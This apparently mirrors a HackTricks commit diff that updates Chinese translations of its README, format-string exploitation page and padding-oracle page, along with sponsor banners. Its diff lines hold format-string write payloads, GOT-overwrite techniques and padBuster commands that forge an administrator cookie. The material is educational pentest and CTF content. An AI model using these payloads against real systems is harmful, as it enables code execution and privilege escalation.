mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'binary-exploitation/format-strings/README.md',
This commit is contained in:
parent
d6d99ad85e
commit
e07f818f14
43 changed files with 1152 additions and 749 deletions
30
README.md
30
README.md
|
@ -5,7 +5,7 @@
|
||||||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
**欢迎来到这个维基,在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
||||||
|
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。该大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -55,9 +55,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
||||||
|
|
||||||
今天就获取访问权限:
|
今天获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -67,24 +67,26 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||||
|
|
||||||
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
||||||
* **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界
|
* **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界
|
||||||
* **最新公告**:了解最新的漏洞赏金发布和重要平台更新
|
* **最新公告**:了解即将推出的最新漏洞赏金和重要平台更新
|
||||||
|
|
||||||
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作吧!
|
**加入我们,访问** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必备的渗透测试工具包
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必备的渗透测试工具包
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待你的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让你提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将你的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
\
|
|
||||||
|
|
||||||
{% endembed %}
|
{% endembed %}
|
||||||
|
|
||||||
|
@ -109,11 +111,11 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**,采用**现代**方法。
|
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
|
||||||
|
|
||||||
WebSec 是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、钓鱼活动、代码审查、漏洞开发、安全专家外包等。
|
WebSec 是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
|
||||||
|
|
||||||
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,甚至**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量的结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
除了上述内容,WebSec 还是**HackTricks的坚定支持者**。
|
除了上述内容,WebSec 还是**HackTricks的坚定支持者**。
|
||||||
|
|
||||||
|
@ -140,7 +142,7 @@ WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Format Strings
|
# 格式字符串
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -10,18 +10,25 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
|
在 C 语言中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
|
||||||
|
|
||||||
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
||||||
|
|
||||||
当 **攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。
|
当 **攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 的 **任何数据**。这样就能够 **执行任意代码**。
|
||||||
|
|
||||||
#### 格式化符:
|
#### 格式化符:
|
||||||
```bash
|
```bash
|
||||||
|
@ -47,7 +54,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||||
int value = 1205;
|
int value = 1205;
|
||||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||||
```
|
```
|
||||||
* 缺少参数:
|
* 缺失参数:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||||
```
|
```
|
||||||
|
@ -81,7 +88,7 @@ printf("%4$x")
|
||||||
注意,攻击者控制了 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
注意,攻击者控制了 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。在下一节中将解释如何利用这种行为。
|
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **任意读取**
|
## **任意读取**
|
||||||
|
@ -100,7 +107,7 @@ p.sendline(payload)
|
||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 查找偏移量
|
### 查找偏移量
|
||||||
|
@ -149,14 +156,14 @@ p.close()
|
||||||
|
|
||||||
## **任意写入**
|
## **任意写入**
|
||||||
|
|
||||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **已写入字节的数量**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
格式化器 **`%<num>$n`** **在** **指定地址** 中写入 **已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||||
|
|
||||||
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的最高 2B,另一次是针对最低的。
|
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B,另一次是针对低 2B。
|
||||||
|
|
||||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
||||||
|
|
||||||
|
@ -167,7 +174,7 @@ AAAA.%500\$08x —> Param at offset 500
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向****`system`** **函数**。\
|
我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向****`system`** **函数**。\
|
||||||
如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入其他 2 字节。为此使用**`$hn`**。
|
如前所述,写入地址通常需要 2 个步骤:您**首先写入地址的 2 字节**,然后写入另外 2 字节。为此使用**`$hn`**。
|
||||||
|
|
||||||
* **HOB** 被调用为地址的 2 个高字节
|
* **HOB** 被调用为地址的 2 个高字节
|
||||||
* **LOB** 被调用为地址的 2 个低字节
|
* **LOB** 被调用为地址的 2 个低字节
|
||||||
|
@ -229,19 +236,23 @@ p.interactive()
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
* 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时,`strlen`与用户输入一起执行并指向`system`,将执行传递的命令。
|
* 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`与用户输入一起执行并指向`system`,将执行传递的命令。
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,13 +15,17 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## CBC - 密码块链接
|
## CBC - 密码块链接
|
||||||
|
|
||||||
在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作:
|
在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
要解密 CBC,需进行**相反的** **操作**:
|
要解密 CBC,执行**相反的** **操作**:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
|
@ -32,7 +36,7 @@
|
||||||
由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\
|
由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\
|
||||||
通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
|
通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
|
||||||
|
|
||||||
让我们看一些**长度为 8 字节的 2 个块**的更多示例:
|
让我们看更多的例子,使用**2 个长度为 8 字节的块**:
|
||||||
|
|
||||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
@ -41,11 +45,11 @@
|
||||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
注意在最后一个示例中,**最后一个块是满的,因此只生成了一个填充块**。
|
注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。
|
||||||
|
|
||||||
## Padding Oracle
|
## 填充 oracle
|
||||||
|
|
||||||
当应用程序解密加密数据时,它会首先解密数据;然后会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
|
当一个应用程序解密加密数据时,它会首先解密数据;然后它会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
|
||||||
|
|
||||||
如果你检测到这种行为,你可以**解密加密数据**,甚至**加密任何明文**。
|
如果你检测到这种行为,你可以**解密加密数据**,甚至**加密任何明文**。
|
||||||
|
|
||||||
|
@ -61,17 +65,17 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
||||||
```
|
```
|
||||||
**编码 0** 意味着使用 **base64**(但还有其他可用的,查看帮助菜单)。
|
**编码 0** 意味着使用 **base64**(但还有其他可用的,查看帮助菜单)。
|
||||||
|
|
||||||
您还可以 **利用此漏洞加密新数据。例如,想象一下 cookie 的内容是 "**_**user=MyUsername**_**",然后您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点:
|
您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
```
|
```
|
||||||
如果网站存在漏洞,`padbuster`将自动尝试找出何时发生填充错误,但您也可以使用**-error**参数指示错误消息。
|
如果网站存在漏洞,`padbuster`将自动尝试查找何时发生填充错误,但您也可以使用**-error**参数指示错误消息。
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||||
```
|
```
|
||||||
### 理论
|
### 理论
|
||||||
|
|
||||||
**总结**,你可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将开始从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。
|
**总结**,你可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将开始从末尾到开头解密字节,猜测哪个将是**创建填充为1、2、3等**的正确值。
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (561).png>)
|
![](<../.gitbook/assets/image (561).png>)
|
||||||
|
|
||||||
|
@ -87,21 +91,21 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
||||||
|
|
||||||
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
|
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7`
|
所以,找到E'7,就可以**计算I15**:`I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
知道**C15**后,现在可以**计算C14**,但这次是暴力破解填充`\x02\x02`。
|
知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
|
||||||
|
|
||||||
这个暴力破解与之前的复杂,因为可以计算出`E''15`的值为0x02:`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`的**`E'14`。\
|
这个暴力破解和之前的复杂度一样,因为可以计算出`E''15`的值为0x02:`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\
|
||||||
然后,重复相同的步骤解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
然后,重复相同的步骤解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**沿着这条链,直到你解密整个加密文本。**
|
**继续这个链条,直到你解密整个加密文本。**
|
||||||
|
|
||||||
### 漏洞检测
|
### 漏洞检测
|
||||||
|
|
||||||
